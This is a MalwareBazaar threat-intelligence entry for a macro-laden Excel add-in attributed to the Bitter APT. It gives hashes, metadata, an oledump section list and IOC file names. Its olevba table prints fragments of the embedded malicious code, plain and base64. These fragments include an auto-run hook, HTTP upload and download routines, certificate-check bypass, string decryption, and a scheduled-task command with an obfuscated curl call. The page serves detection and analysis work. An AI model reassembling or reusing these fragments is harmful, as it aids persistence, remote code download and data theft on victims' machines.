MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 259d6c10c93fa4f734b6ae7cf94a478ebee61d1268bf28befc009e71d609b207. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry

Bitter

Vendor detections: 17

Maldoc score: 40

Intelligence 17 IOCs YARA 5 File information Comments

SHA256 hash:	259d6c10c93fa4f734b6ae7cf94a478ebee61d1268bf28befc009e71d609b207
SHA3-384 hash:	b5c5740576559119020520b7674cc5dfe8f653827540ec64f9fca372f4da3593668eee9b8d77ba66e3ab450ebcb81e56
SHA1 hash:	eb3032c062c9dc36100a4af9a501bc8fc118567d
MD5 hash:	b165b489c5f8c4e136364664502d68f1
humanhash:	idaho-colorado-black-lima
File name:	Nominated Officials for the Conference.xlam
Download:	download sample
Signature	Bitter Create hunting rule
File size:	67'425 bytes
First seen:	2025-10-11 08:27:39 UTC
Last seen:	2025-10-18 12:43:49 UTC
File type:	xlsx
MIME type:	application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
ssdeep	1536:qIPWYuaHRSxkveXmZhUgaUMLW7XRZYDOyMlDQKq/eT9lr:qIPWGH4xDSI+2KDQK0ebr
TLSH	T1636301CAC1A47953CA356BBF96D434D264A8BCD5D794E30435099017F34EE6F0F60ACA
TrID	50.8% (.XLSM) Excel Microsoft Office Open XML Format document (with Macro) (57500/1/12) 30.0% (.XLSX) Excel Microsoft Office Open XML Format document (34000/1/7) 15.4% (.ZIP) Open Packaging Conventions container (17500/1/4) 3.5% (.ZIP) ZIP compressed archive (4000/1)
Magika	xlsx
Reporter	smica83
Tags:	apt Bitter xlsx

Office OLE Information

This malware samples appears to be an Office document. The following table provides more information about this document using oletools and oledump.

OLE id

Maldoc score: 40

File Format is MS Excel 2007+

Container Format is OpenXML

Office document contains VBA Macros

OLE dump

MalwareBazaar was able to identify 13 sections in this file using oledump:

Section ID	Section size	Section name
A1	650 bytes	PROJECT
A2	104 bytes	PROJECTwm
A3	993 bytes	VBA/Sheet1
A4	993 bytes	VBA/Sheet2
A5	993 bytes	VBA/Sheet3
A6	107545 bytes	VBA/ThisWorkbook
A7	10093 bytes	VBA/_VBA_PROJECT
A8	1657 bytes	VBA/__SRP_0
A9	114 bytes	VBA/__SRP_1
A10	448 bytes	VBA/__SRP_2
A11	256 bytes	VBA/__SRP_3
A12	826 bytes	VBA/dir

OLE vba

MalwareBazaar was able to extract and deobfuscate VBA script(s) the following information from OLE objects embedded in this file using olevba:

Type	Keyword	Description
AutoExec	Workbook_Open	Runs when the Excel Workbook is opened
Base64	rivate boolprivate bool bU publprivat return apublic voidCoyoteCompute if	cml2YXRlIGJvb2wgYkluaXRpYWxpc2VkID0gZmFsc2U7I
Base64	public bool Useful get	IA0KDQoJCXB1YmxpYyBib29sIFVzZWZ1bA0KCQl7ICAgD
Base64	tstring	dA0KICAgICAgICAgICAgICAgIHN0cmluZyBheHggPSBna
Base64	return set	CgkJCQlyZXR1cm4gYlVzZWZ1bDsNCgkJCX0gICANCgkJC
Base64	public partial class	cHVibGljIHBhcnRpYWwgY2xhc3MgTWFpbldpbmRvdw0KI
Base64	q-------------------ow.Ticks.ToStr	cS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iICsgRGF0Z
Base64	HttpWebRequestrequest.	ICAgICAgICAgICAgICAgIEh0dHBXZWJSZXF1ZXN0IHJlc
Base64	t ushort	dCB1c2hvcnQgSU1BR0VfRE9TX1NJR05BVFVSRSA9IDB4N
Base64	const uint	IGNvbnN0IHVpbnQgSU1BR0VfTlRfU0lHTkFUVVJFID0gM
Base64	5IOX1q2/nikT0cEHgCPf	NUlPWDFxMi9uaWtUMGNFSGdDUGZiRlNjbnd2T3VtL1V4T
Base64	const ushort	DQogICAgICAgIGNvbnN0IHVzaG9ydCBJTUFHRV9GSUxFX
Base64	request.ContentTyperequest.KeepArequestStr	ICAgICAgICAgICByZXF1ZXN0LkNvbnRlbnRUeXBlID0gI
Base64	// stri	ICAgICAgICAgICAgICAgICAgICByZXF1ZXN0U3RyZWFtL
Base64	ng formDataTemplatevx8GpAIgHbD3Wv	bmcgZm9ybURhdGFUZW1wbGF0ZSA9IGdqZmRrZ2l0amtnK
Base64	XlxzFivquiNM6uAG13ApqCtTVey7VmIUyq	WGx4ekZpdnF1aU5NNnVBRzEzQXBLSHV2TDFNLytUY2RSa
Base64	IMAGE_FILE_MACHINE_AAMD64	SU1BR0VfRklMRV9NQUNISU5FX0FNRDY0ID0gMHg4NjY0O
Base64	n/ITaeTKg2g4Na8uWrAmz6rPOP6g2Xu3rH	bi9JVGFlVEtnMmc0TmE4dVdyQW1sNjFSSlZKdzh2K0F5a
Base64	const ushort IMAGE_	IGNvbnN0IHVzaG9ydCBJTUFHRV9OVF9PUFRJT05BTF9IR
Base64	AN5iHJrjkwU/enaNub8JDisposition: f	QU41aUhKcmprd1UvZW5hTnViOEpwL3c9PSIpOy8vICJDb
Base64	stringDisposition: for	ICAgc3RyaW5nIGZvcm1EYXRhVGVtcGxhdGUgPSAiQ29ud
Base64	/ PE32	LyBQRTMyDQogICAgICAgIGNvbnN0IHVzaG9ydCBJTUFHR
Base64	ncoding.UTF8.GetByteformItemBytes.LeEncoding.	bmNvZGluZy5VVEY4LkdldEJ5dGVzKGZvcm1JdGVtKTsNC
Base64	reque	ICAgICAgICAgICAgICAgcmVxdWVzdFN0cmVhbS5Xcml0Z
Base64	ebResponse response	ZWJSZXNwb25zZSByZXNwb25zZSA9IHJlcXVlc3QuR2V0U
Base64	static static stri	CiAgICAgICAgc3RhdGljIHN0cmluZyBteW5tID0gIiI7D
Base64	using	ICAgICAgICB1c2luZyAoU3RyZWFtUmVhZGVyIHJlYWRlc
Base64	static string	ICAgc3RhdGljIHN0cmluZyBtYmlzID0gIiI7DQoNCiAgI
Base64	response.GetResponse	cmVzcG9uc2UuR2V0UmVzcG9uc2VTdHJlYW0oKSkpDQogI
Base64	static staticprivate st p	DQogICAgICAgIHN0YXRpYyBSYW5kb20gcmQ7DQogICAgI
Base64	string responseTextRemoveSpecialCharequest.Ab	ICAgICAgICAgICAgICAgICBzdHJpbmcgcmVzcG9uc2VUZ
Base64	ublic static string	dWJsaWMgc3RhdGljIHN0cmluZyBSZW1vdmVTcGVjaWFsQ
Base64	Thread myNewThreadtaskprogressAs	ICBUaHJlYWQgbXlOZXdUaHJlYWQgPSBuZXcgVGhyZWFkK
Base64	else if	ICAgICAgICAgICBlbHNlIGlmIChjID09ICcjJyAmJiBjb
Base64	ortant bitonentModel.RunInstal	b3J0YW50IGJpdA0KDQoJW1N5c3RlbS5Db21wb25lbnRNb
Base64	bool IsNullOrWhiteSp i	Ym9vbCBJc051bGxPcldoaXRlU3BhY2UoU3RyaW5nIHZhb
Base64	ll.Installerprivate staticstring Base64Decode varbase64Encodedbase64EncodedD	bGwuSW5zdGFsbGVyDQoJew0KCQlwcml2YXRlIHN0YXRpY
Base64	public static	ICAgICAgcHVibGljIHN0YXRpYyBzdHJpbmcgZ2pmZGtna
Base64	plaintexke	CgkJCQlwbGFpbnRleHQuQXBwZW5kKChjaGFyKSgodWlud
Base64	kgahslKDSJDLiuohaSKs stringEncrypt ci	a2dhaHNsS0RTSkRMaXVvaGFTS3NrYWxzIjsNCiAgICAgI
Base64	return plaintext.ToSpublic overr	CQlyZXR1cm4gcGxhaW50ZXh0LlRvU3RyaW5nKCk7DQoJC
Base64	cs.WrcipherBytes.Le	ICAgICAgICAgICAgICAgY3MuV3JpdGUoY2lwaGVyQnl0Z
Base64	trystring que	ICAgICAgICB0cnkNCiAgICAgICAgICAgIHsNCiAgICAgI
Base64	Managemen	ICAgICAgICAgICBNYW5hZ2VtZW50T2JqZWN0U2VhcmNoZ
Base64	nagementObjectSearch	bmFnZW1lbnRPYmplY3RTZWFyY2hlcik7DQogICAgICAgI
Base64	ManagementObjectSear fore	TWFuYWdlbWVudE9iamVjdFNlYXJjaGVyKHF1ZXJ5KTsNC
Base64	try	ICAgICAgICAgIHRyeQ0KICAgICAgICAgICAgICAgIHsNC
Base64	ManagementObjectSearKwwDqlCjADdIRp	TWFuYWdlbWVudE9iamVjdFNlYXJjaGVyIG9iak9TID0gZ
Base64	lsyMxzrKTsD4xnQnhVBs	bHN5TXh6cktUc0Q0eG5RbmhWQnM9IikgKyBsb2NhdGlvb
Base64	jMgmt in return return staticIMAGE_DOS_HEADER Get strea returnReadS	ak1nbXQgaW4gb2JqT1MuR2V0KCkpDQogICAgICAgICAgI
Base64	static IMAGE	Cg0KICAgICAgICBzdGF0aWMgSU1BR0VfTlRfSEVBREVSU
Base64	static	ICAgICBzdGF0aWMgSU1BR0VfTlRfSEVBREVSUzMyIEdld
Base64	return RIMAGE_NT_HEA staticIMAGE_NT	DQogICAgICAgICAgICByZXR1cm4gUmVhZFN0cnVjdEZyb
Base64	_HEADERS64IMAGE_DOS_HEAD return	X0hFQURFUlM2NCBHZXROdEhlYWRlcjY0KFN0cmVhbSBzd
Base64	ReadStructFromStrea	IFJlYWRTdHJ1Y3RGcm9tU3RyZWFtPElNQUdFX05UX0hFQ
Base64	ader.OptionalHeader.TIONAL_HDR32_M static bool	YWRlci5PcHRpb25hbEhlYWRlci5NYWdpYyA9PSBJTUFHR
Base64	MAGE_NT_HEADERS64 re	TUFHRV9OVF9IRUFERVJTNjQgbnRIZWFkZXIpDQogICAgI
Base64	turn ntHeader.OptionIMAGE_NT_OPTIONA static TReadStru tryMarshal.AllocCo	dHVybiBudEhlYWRlci5PcHRpb25hbEhlYWRlci5NYWdpY
Base64	new InvalidOperation Ma	bmV3IEludmFsaWRPcGVyYXRpb25FeGNlcHRpb24oKTsNC
Base64	Marsh publicstatic bool IsVali	ICAgICAgICAgICAgICAgTWFyc2hhbC5GcmVlQ29UYXNrT
Base64	ERS_COMMON ntHeader	RVJTX0NPTU1PTiBudEhlYWRlciA9IEdldENvbW1vbk50S
Base64	return	ICAgICAgICAgcmV0dXJuIGZhbHNlOw0KDQogICAgICAgI
Base64	ntHeader.FileHeader.	bnRIZWFkZXIuRmlsZUhlYWRlci5NYWNoaW5lKQ0KICAgI
Base64	case IMAGE_FILE_M	ICAgICAgICAgICAgICAgICAgICAgICBjYXNlIElNQUdFX
Base64	return	ICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVyb
Base64	case IMAGE_FILE_MA	ICBjYXNlIElNQUdFX0ZJTEVfTUFDSElORV9JQTY0Og0KI
Base64	return IsVanvalidOperationExcep	ICAgICAgICAgcmV0dXJuIElzVmFsaWRFeGU2NChHZXROd
Base64	etFileNameWithoutExt	ZXRGaWxlTmFtZVdpdGhvdXRFeHRlbnNpb24oZmlsZXBhd
Base64	do	ICBkbw0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgI
Base64	return //p	DQogICAgICAgICAgICByZXR1cm4gZmlsZXBhdGg7DQogI
Base64	ublic static async // var // va /	dWJsaWMgc3RhdGljIGFzeW5jIFRhc2s8c3RyaW5nPiBEb
Base64	/ bool //	LyAgICAgICAgYm9vbCBoYXNQcm9ncmVzQ2hhbmdlZCA9I
Base64	void	dm9pZCB0aW1lckhhbmRsZXIob2JqZWN0IHMsIEVsYXBzZ
Base64	//	ICAgICAgIC8vICAgICAgICAgICAgaWYgKGhhc1Byb2dyZ
Base64	e	ZQ0KICAgICAgICAvLyAgICAgICAgICAgIHsNCiAgICAgI
Base64	//	DQogICAgICAgIC8vICAgICAgICAgICAgfQ0KICAgICAgI
Base64	// void	ICAvLyAgICAgICAgdm9pZCBDbGVhblJlc291cmNlcygpD
Base64	// //	ICAgICAgIC8vICAgICAgICBjYXRjaCAoRXhjZXB0aW9uI
Base64	return await sta	ICAgIHJldHVybiBhd2FpdCB0Y3MuVGFzazsNCiAgICAgI
Base64	tic private bool	dGljIHByaXZhdGUgYm9vbCBnamZka2dpdGprZygpDQogI
Base64	Process try	IFByb2Nlc3MgcmVxdWVzdFByb2Nlc3MgPSBuZXcgUHJvY
Base64	requ	CiAgICAgICAgICAgICAgICByZXF1ZXN0UHJvY2Vzcy5Td
Base64	s.StartInfo.FileName	cy5TdGFydEluZm8uRmlsZU5hbWUgPSBwX2dsb2JsZTsvL
Base64	requestProc	ICAgICAgICAgcmVxdWVzdFByb2Nlc3MuU3RhcnRJbmZvL
Base64	requestProcess.Start if	cmVxdWVzdFByb2Nlc3MuU3RhcnQoKSAtLSAwIik7DQogI
Base64	//Debug.WritrequestProcess returnsucc staticprivate async Tasktas tr	ICAgICAgICAvL0RlYnVnLldyaXRlTGluZSgiZ2pmZGtna
Base64	y	eQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgI
Base64	t.SpecialFolder.Appl	dC5TcGVjaWFsRm9sZGVyLkFwcGxpY2F0aW9uRGF0YSkgK
Base64	ronment.GetFolderPatlFolder.Common	cm9ubWVudC5HZXRGb2xkZXJQYXRoKEVudmlyb25tZW50L
Base64	lt:Environment.Sp	bHQ6DQogICAgICAgICAgICAgICAgICAgICAgICB7DQogI
Base64	ecialFolder.Applicat	ZWNpYWxGb2xkZXIuQXBwbGljYXRpb25EYXRhKSArICJcX
Base64	ntManager.ServerCert	bnRNYW5hZ2VyLlNlcnZlckNlcnRpZmljYXRlVmFsaWRhd
Base64	nager.Expect100ContiServi	bmFnZXIuRXhwZWN0MTAwQ29udGludWUgPSB0cnVlOw0KI
Base64	cePointManager.SecurSecurityProtocolType	Y2VQb2ludE1hbmFnZXIuU2VjdXJpdHlQcm90b2NvbCA9I
Base64	.Tls	LlRscw0KICAgICAgICAgICAgICAgICAgICAgICB8IFNlY
Base64	s11	czExDQogICAgICAgICAgICAgICAgICAgICAgIHwgU2Vjd
Base64	12	MTINCiAgICAgICAgICAgICAgICAgICAgICAgfCBTZWN1c
Base64	FA3wdvGYiv/k1y9oLsJr	RkEzd2R2R1lpdi9rMXk5b0xzSnJYUThDd29vaTJjRjZBc
Base64	nKgkHRqEpzABSkE8VWIl	bktna0hScUVwekFCU2tFOFZXSWxhbTQ3cWhQWjdpY3pzN
Base64	iC1to413bIeL/tTS3GKh	aUMxdG80MTNiSWVML3RUUzNHS2g1dFQ4OXMxRWduYlJWO
Base64	engCmaO/M70IHZBIXPdU	ZW5nQ21hTy9NNzBJSFpCSVhQZFVDeUtPL2UyREdLeExQd
Base64	using	ICAgIHVzaW5nIChIdHRwQ2xpZW50IGNsaWVudCA9IG5ld
Base64	Runtime.InteropServiusing System.Security.Crypto	UnVudGltZS5JbnRlcm9wU2VydmljZXM7DQp1c2luZyBTe
Base64	HttpResponseMessage r	ICAgICAgICAgICAgICAgSHR0cFJlc3BvbnNlTWVzc2FnZ
Base64	space Coyote	c3BhY2UgQ295b3RlDQp7DQoJW1N0cnVjdExheW91dChMY
Base64	esponse.EnsureSucces	ZXNwb25zZS5FbnN1cmVTdWNjZXNzU3RhdHVzQ29kZSgpO
Base64	// Try to	ICAgICAgICAvLyBUcnkgdG8gZ2V0IGZpbGVuYW1lIGZyb
Base64	n header	biBoZWFkZXINCg0KDQogICAgICAgICAgICAgICAgICAgI
Base64	tent.Headers.Content	dGVudC5IZWFkZXJzLkNvbnRlbnREaXNwb3NpdGlvbiAhP
Base64	public// Minimum extra par	ICAgICAgICBwdWJsaWMgdXNob3J0IGVfbWluYWxsb2M7I
Base64	string fileName	ICAgICBzdHJpbmcgZmlsZU5hbWUgPSBudWxsOw0KICAgI
Base64	agraphs needed	YWdyYXBocyBuZWVkZWQNCiAgICAgICAgcHVibGljIHVza
Base64	aximum extra	YXhpbXVtIGV4dHJhIHBhcmFncmFwaHMgbmVlZGVkDQogI
Base64	ontentDisposition.Fi	b250ZW50RGlzcG9zaXRpb24uRmlsZU5hbWU7DQogICAgI
Base64	// p_g	ICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgI
Base64	//	ICAgICAgICAgICAgICAgICAgLy8gU2F2ZSB0aGUgcmVzc
Base64	public ushortaddress of relo	ICAgICBwdWJsaWMgdXNob3J0IGVfbGZhcmxjOyAgIC8vI
Base64	cation table	Y2F0aW9uIHRhYmxlDQogICAgICAgIHB1YmxpYyB1c2hvc
Base64	response.Content.Rea	cmVzcG9uc2UuQ29udGVudC5SZWFkQXNTdHJlYW1Bc3luY
Base64	using	ICAgICAgICAgdXNpbmcgKEZpbGVTdHJlYW0gZnMgPSBuZ
Base64	rlay number	cmxheSBudW1iZXINCiAgICAgICAgcHVibGljIHVpbnQgZ
Base64	await stream.Copycatcstring cSystem.IO	ICAgYXdhaXQgc3RyZWFtLkNvcHlUb0FzeW5jKGZzKTsNC
Base64	System.Buff	ICAgICAgICAgU3lzdGVtLkJ1ZmZlci5CbG9ja0NvcHkoY
Base64	rved	cnZlZA0KICAgICAgICBwdWJsaWMgdWludCBlX3JlczI7I
Base64	stringSystem.IO.Path.ChanaIbETxENCwM1KQ	ICAgICAgICBzdHJpbmcgcF9nbG9ibGUxID0gc3BhdGggK
Base64	public ushort	ICAgICAgIHB1YmxpYyB1c2hvcnQgZV9vZW1pZDsgICAgL
Base64	//if	ICAgICAgICAgICAvL2lmICh0LklzQ29tcGxldGVkID09I
Base64	// Reserved	ICAgICAvLyBSZXNlcnZlZA0KICAgICAgICBwdWJsaWMgd
Base64	Reserved	IFJlc2VydmVkDQogICAgICAgIHB1YmxpYyB1aW50IGVfc
Base64	// code	ICAgICAgICAgICAgLy8gY29kZSA9ICIwMDBCIjsNCiAgI
Base64	ed	ZWQNCiAgICAgICAgcHVibGljIHVpbnQgZV9yZXM3OyAgI
Base64	string	ICAgICAgICAgICAgc3RyaW5nIGZoZ2xoID0gZ2pmZGtna
Base64	public intFile address of new	ICAgICBwdWJsaWMgaW50IGVfbGZhbmV3OyAgICAgIC8vI
Base64	iv/k1y9oLsJrXQ8Cwooi5I6sw8nKgkHRqE	aXYvazF5OW9Mc0pyWFE4Q3dvb2kyY0Y2QXEyelpUQU5tK
Base64	exe headeryoutKind.Sequen	ZXhlIGhlYWRlcg0KICAgIH0NCiAgICBbU3RydWN0TGF5b
Base64	pzABSkE8VWIlam47qhPZ	cHpBQlNrRThWV0lsYW00N3FoUFo3aWN6czVuWFZXaUNCY
Base64	ublic ushort publicushort NumberOfS	dWJsaWMgdXNob3J0IE1hY2hpbmU7DQogICAgICAgIHB1Y
Base64	bIeL/tTS3GKh5tT89s1E6F4HBkF0ThwWGN i cat	YkllTC90VFMzR0toNXRUODlzMUVnbmJSVjhvR1Q4NytiS
Base64	public uint PointerT public uint	cHVibGljIHVpbnQgUG9pbnRlclRvU3ltYm9sVGFibGU7D
Base64	erCertificateValidat	ZXJDZXJ0aWZpY2F0ZVZhbGlkYXRpb25DYWxsYmFjayA9I
Base64	ct IMAGE_OPTIONAL_HE	Y3QgSU1BR0VfT1BUSU9OQUxfSEVBREVSMzINCiAgICB7D
Base64	public byte public	ICAgICAgcHVibGljIGJ5dGUgTWlub3JMaW5rZXJWZXJza
Base64		Secur
Base64	public uint publ	ICAgICAgICBwdWJsaWMgdWludCBBZGRyZXNzT2ZFbnRye
Base64	public uint public uintSe	ICAgICAgICBwdWJsaWMgdWludCBJbWFnZUJhc2U7DQogI
Base64	public ushort M	ICAgICBwdWJsaWMgdXNob3J0IE1pbm9yT3BlcmF0aW5nU
Base64	HttpWebRequest	ICAgICAgSHR0cFdlYlJlcXVlc3QgcmVxdWVzdCA9IChId
Base64	//	ICAgICAgICAgICAgICAgLy8gcmVxdWVzdC5Db250ZW50V
Base64	public ushort public us	ICAgcHVibGljIHVzaG9ydCBNYWpvckltYWdlVmVyc2lvb
Base64	hort publicushort MajorSu	aG9ydCBNaW5vckltYWdlVmVyc2lvbjsNCiAgICAgICAgc
Base64	HXuWAGqqkgTsX/mLUGgs	SFh1V0FHcXFrZ1RzWC9tTFVHZ3N6SXgvaVVJcW1XdW81c
Base64	public uint public uintSizeO	ICAgcHVibGljIHVpbnQgU2l6ZU9mSW1hZ2U7DQogICAgI
Base64	/nikT0cEHgCPfbFScnwv	L25pa1QwY0VIZ0NQZmJGU2Nud3ZPdW0vVXhOOW5aUT09I
Base64	request.ContentType	ICAgIHJlcXVlc3QuQ29udGVudFR5cGUgPSAibXVsdGlwY
Base64	equest.GetRequestStr	ZXF1ZXN0LkdldFJlcXVlc3RTdHJlYW0oKSkNCiAgICAgI
Base64	public uint public u	ICAgICAgcHVibGljIHVpbnQgU2l6ZU9mU3RhY2tDb21ta
Base64	request	ICAgICAgICAgICAgIHJlcXVlc3RTdHJlYW0uV3JpdGUoY
Base64	int public uintSizeOfHeap	aW50IFNpemVPZkhlYXBSZXNlcnZlOw0KICAgICAgICBwd
Base64	quiNM6uAG13ApKHuvL1M7VmIUyqn/ITaeT	cXVpTk02dUFHMTNBcEtIdXZMMU0vK1RjZFJrV1ZhOHovc
Base64	lic uint structIMAGE_OPTIONAL_H	bGljIHVpbnQgTnVtYmVyT2ZSdmFBbmRTaXplczsNCiAgI
Base64	Kg2g4Na8uWrAml61RJVJg2Xu3rHAN5iHJrDisposition: form-datst	S2cyZzROYTh1V3JBbWw2MVJKVkp3OHYrQXloVVNIWlM3e
Base64	EADER64 public	RUFERVI2NA0KICAgIHsNCiAgICAgICAgcHVibGljIHVza
Base64	ringDisposition: form-datstrireques	cmluZyBmb3JtRGF0YVRlbXBsYXRlID0gIkNvbnRlbnQtR
Base64	public byte public byteM	cHVibGljIGJ5dGUgTWFqb3JMaW5rZXJWZXJzaW9uOw0KI
Base64	public uint S	ICAgICAgIHB1YmxpYyB1aW50IFNpemVPZkluaXRpYWxpe
Base64	requestStretrailer.Lengt	ICAgICAgICAgcmVxdWVzdFN0cmVhbS5Xcml0ZSh0cmFpb
Base64	using	ICB1c2luZyAoU3RyZWFtUmVhZGVyIHJlYWRlciA9IG5ld
Base64	lic uint SizeOfUnini public uint	bGljIHVpbnQgU2l6ZU9mVW5pbml0aWFsaXplZERhdGE7D
Base64	se.GetResponseStream	c2UuR2V0UmVzcG9uc2VTdHJlYW0oKSkpDQogICAgICAgI
Base64	public ulong public uint	DQogICAgICAgIHB1YmxpYyB1bG9uZyBJbWFnZUJhc2U7D
Base64	string	ICAgICAgICAgICBzdHJpbmcgcmVzcG9uc2VUZXh0ID0gc
Base64	public	DQogICAgICAgIHB1YmxpYyB1c2hvcnQgTWFqb3JPcGVyY
Base64	public ushort public	ICAgICAgcHVibGljIHVzaG9ydCBNYWpvckltYWdlVmVyc
Base64	ushort publicushort Majo	IHVzaG9ydCBNaW5vckltYWdlVmVyc2lvbjsNCiAgICAgI
Base64	6HuoLAYhYHSz6HTZTmLYOSArchitecture	Nkh1b0xBWWhZSFN6NkhUWlRtTFlZa2FubnYiKSwgbnVsb
Base64	public uint public uintSi	ICAgICAgcHVibGljIHVpbnQgU2l6ZU9mSW1hZ2U7DQogI
Base64	System.IO.Path.CombwCZFw4ZjLxXShrtry	IFN5c3RlbS5JTy5QYXRoLkNvbWJpbmUoU3lzdGVtLklPL
Base64	File.Write	ICAgICAgICAgIEZpbGUuV3JpdGVBbGxUZXh0KGZuYW1lL
Base64	ublic ushort publicushort DllChar	dWJsaWMgdXNob3J0IFN1YnN5c3RlbTsNCiAgICAgICAgc
Base64	catch	ICAgICBjYXRjaCAoRXhjZXB0aW9uIGV4KQ0KICAgICAgI
Base64	ServicePointManager.	U2VydmljZVBvaW50TWFuYWdlci5TZXJ2ZXJDZXJ0aWZpY
Base64	public ulong pub	DQogICAgICAgIHB1YmxpYyB1bG9uZyBTaXplT2ZTdGFja
Base64	lic ulong public ulongSiz	bGljIHVsb25nIFNpemVPZkhlYXBSZXNlcnZlOw0KICAgI
Base64	icePointManager.Expe	aWNlUG9pbnRNYW5hZ2VyLkV4cGVjdDEwMENvbnRpbnVlI
Base64	public uint struct IMAGE_NT_	ICAgIHB1YmxpYyB1aW50IE51bWJlck9mUnZhQW5kU2l6Z
Base64	ServicePointMan	ICAgICBTZXJ2aWNlUG9pbnRNYW5hZ2VyLlNlY3VyaXR5U
Base64	HEADERS_COMMON public uint	SEVBREVSU19DT01NT04NCiAgICB7DQogICAgICAgIHB1Y
Base64	otocolType.Tls	b3RvY29sVHlwZS5UbHMNCiAgICAgICAgICAgICAgICAgI
Base64	t IMAGE_NT_HEADERS32 public uintSigna	dCBJTUFHRV9OVF9IRUFERVJTMzINCiAgICB7DQogICAgI
Base64	colType.Tls11	Y29sVHlwZS5UbHMxMQ0KICAgICAgICAgICAgICAgICAgI
Base64	olType.Tls12	b2xUeXBlLlRsczEyDQogICAgICAgICAgICAgICAgICAgI
Base64	public IMAGE_	ICAgICAgIHB1YmxpYyBJTUFHRV9PUFRJT05BTF9IRUFER
Base64	sJrXQ8Cwooi2cF6Aq2zZkHRqEpzABSkE8V	c0pyWFE4Q3dvb2kyY0Y2QXEyelpUQU5tK2NoRDFmcDVJN
Base64	struct	ICAgc3RydWN0IElNQUdFX05UX0hFQURFUlM2NA0KICAgI
Base64	WIlam47qhPZ7iczs5nXV	V0lsYW00N3FoUFo3aWN6czVuWFZXaUNCYWNsSzhsdkE3c
Base64	GKh5tT89s1EgnbRV8oAP	R0toNXRUODlzMUVnbmJSVjhvQVBDcnVFWVpLOU1DZzVIb
IOC	kefe.bat	Executable file name
IOC	csc.exe	Executable file name
IOC	msoffice365.dll	Executable file name
IOC	Http.dll	Executable file name
IOC	vlcplayer.dll	Executable file name
IOC	InstallUtil.exe	Executable file name
String	// Replace with yourserver endpoin	CB5b3VyIHNlcnZlciBlbmRwb2lu
String	string f--axxyyppq	CAgICAgICAgICAgIHN0cmluZyBm
String	MainWindow cons	CAgIHsNCg0KICAgICAgICBjb25z
String	//regjfdkgi	29udGVudFR5cGUgPSBnamZka2dp
String	IMAGE_DOS_SIGNATURE	UE0RDsgIC8vIE1aDQogICAgICAg
String	/mLUGgszIx/iUIqmWuo5pKgTYkEX/fUbu5	XFtV3VvNXBLZ1RZa0VYL2ZVYnU1
String	IMAGE_FILE_MACHINE_I	01BQ0hJTkVfSTM4NiA9IDB4MDE0
String	const ushortIMAGE_FILE_MACH	2hvcnQgSU1BR0VfRklMRV9NQUNI
String	// Intel 64 const ushort	CAgICAgICBjb25zdCB1c2hvcnQg
String	NT_OPTIONAL_HDR32_MA	FIzMl9NQUdJQyA9IDB4MTBCOyAv
String	const ushortIMAGE_NT_OPTIONAL_HDR64_M const ushortIMAGE_F	V9OVF9PUFRJT05BTF9IRFI2NF9N
String	static	WMgc3RyaW5nIG1pZGkgPSAiIjsN
String	RemoveSpecialCharact int f	2hhcmFjdGVycyhzdHJpbmcgc3Ry
String	myNewThread.Starelsenew Rando	CAgICBteU5ld1RocmVhZC5TdGFy
String	Thre // The imp	ChyZC5OZXh0KDUsIDEwKSAqIDEw
String	else re publicstatic	D09ICcjJyAmJiBjb3VudCA9PSAx
String	public classSample : System.Configuration.Insta	S5Db25maWd1cmF0aW9uLkluc3Rh
String	return	HRydWU7DQogICAgICAgIH0NCiAg
String	return System.Text.Encoding.UTF8.Getprivate stringXORDecryp var plaintex	GluZy5VVEY4LkdldFN0cmluZyhi
String	stringcipherTe //string	XRqa2coc3RyaW5nIGNpcGhlclRl
String	Convert.FromBase64St	mFzZTY0U3RyaW5nKGNpcGhlclRl
String	ystem.Collections.IDictionary save MainWindow/f /sc minute /mo 26--headless cmd /v:on	W9ucy5JRGljdGlvbmFyeSBzYXZlJiBzZXQgNjY1PXRwczomIHNldCA1NjU9ITc2NSEhNjY1IRyZW5kcyYgY3VybCAhNDY1IS5jb20vZDZaMi5wXmhecD9code and P-code are different, this may havebeen used to hide malicious code
String	using	XB0b3IgPSBBZXMuQ3JlYXRlKCkp
String	Rfc2898DeriveBytespd//Rfc2898	mZjMjg5OERlcml2ZUJ5dGVzIHBk
String	new Rfc2898DeriveByt us	mVCeXRlcyhFbmNyeXB0aW9uS2V5
String	encryptor.CreateDecr	WF0ZURlY3J5cHRvcigpLCBDcnlw
String	publicstatic string	mcgdWZyaXVma3NkKHN0cmluZyBj
String	if elsewhere	CIiIHx8IHdoZXJlID09IG51bGwp
String	tObjectSearcher	XIgb2JqT1MgPSBkZWZhdWx0KE1h
String	bject objMgmt in	GluIG9iak9TLkdldCgpKQ0KICAg
String	catch	CAgICAgICAgICAgew0KICAgICAg
String	aseObject ob	mFnZW1lbnRCYXNlT2JqZWN0IG9i
String	_NT_HEADERS_COMMONGetCommonNtH	19DT01NT04gR2V0Q29tbW9uTnRI
String	IMAGE_DOS_HEADER	URFUiBkb3NIZWFkZXIpDQogICAg
String	stream.S	0hlYWRlci5lX2xmYW5ldywgU2Vl
String	returnReadStructFromStre	m4gUmVhZFN0cnVjdEZyb21TdHJl
String	IMAGE_NT_HEADERS32st	E50SGVhZGVyMzIoU3RyZWFtIHN0
String	static boolT_H returnntHe	mFsaWRFeGUzMihJTUFHRV9OVF9I
String	if	CAgICBpZiAobWVtb3J5ID09IElu
String	throw newInvalidOpera	HJvdyBuZXcgSW52YWxpZE9wZXJh
String	int ifthrow	CAgIGludCBieXRlc1JlYWQgPSBz
String	rshal.PtrToStructure finally	nVjdHVyZShtZW1vcnksIHR5cGVv
String	IMAGE_NT_HEAD	CAgICAgICBJTUFHRV9OVF9IRUFE
String	if	GVhZGVyLlNpZ25hdHVyZSAhPSBJ
String	return falader.Ch	CAgICAgICAgICByZXR1cm4gZmFs
String	ACHINE_I386:	0ZJTEVfTUFDSElORV9JMzg2Og0K
String	CHINE_IA64:	CAgICAgICAgICAgICAgICAgICAg
String	ACHINE_AMD64:	QogICAgICAgICAgICAgICAgICAg
String	static string GetUni if st	XRVbmlxdWVGaWxlUGF0aChzdHJp
String	.IO.Path.GetDirectorSystem.IO.Path.G	XJlY3RvcnlOYW1lKGZpbGVwYXRo
